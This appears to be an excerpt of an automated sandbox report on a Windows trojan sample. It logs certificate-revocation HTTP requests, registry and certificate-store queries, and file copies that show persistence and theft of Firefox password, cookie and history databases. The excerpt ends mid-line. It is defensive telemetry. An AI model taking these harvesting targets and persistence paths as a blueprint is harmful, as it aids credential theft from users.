/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "/gtsr1/gtsr1" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "crls" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2Bsl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQEwXvqPhTFislHJA0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQEwXvqPhTFislHJA0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQEwXvqPhTFislHJA0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQEwXvqPhTFislHJA0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQEwXvqPhTFislHJA0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com"36:T8b2,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")37:T40b,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" queries volume information of "C:\" at 00000000-00003992-0000010C-11341419 "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" queries volume information of "C:\" at 00000000-00003992-0000010C-24233120 "cGutGk0YYa8pjPhoX_RK.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\jobA4GHiLxQulTalN9\cGutGk0YYa8pjPhoX_RK.exe" at 00000000-00003792-0000010C-26159701 "A_fx0NQLKitBAeBAEfCf.exe" queries volume information of "C:\" at 00000000-00003788-0000010C-101283807 "5jxITIHj6OKJr9ZS6w6P.exe" queries volume information of "C:\" at 00000000-00002564-0000010C-58446620 "5jxITIHj6OKJr9ZS6w6P.exe" queries volume information of "C:\" at 00000000-00002564-0000010C-120563887 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00001884-0000010C-82265693 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00001884-0000010C-8227542838:T9ba,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYNAME") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYVERSION") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "DISPLAYNAME")39:Td6e,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")3a:T76e,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB")3b:T8c5,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CopyFileA" to copy C:\SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe to new location %LOCALAPPDATA%\RageMP131\RageMP131.exe (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CopyFileA" to copy C:\SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe to new location %ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/g4h7miqt.default\signons.sqlite to new location %TEMP%\jobA4GHiLxQulTalN9\Ei8DrAmaYu9Ksignons.sqlite (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/g4h7miqt.default\places.sqlite to new location %TEMP%\jobA4GHiLxQulTalN9\8ghN89CsjOW1places.sqlite (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/g4h7miqt.default\cookies.sqlite to new location %TEMP%\jobA4GHiLxQulTalN9\D87fZN3R3jFecookies.sqlite (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/g4h7miqt.default\places.sqlite to new location 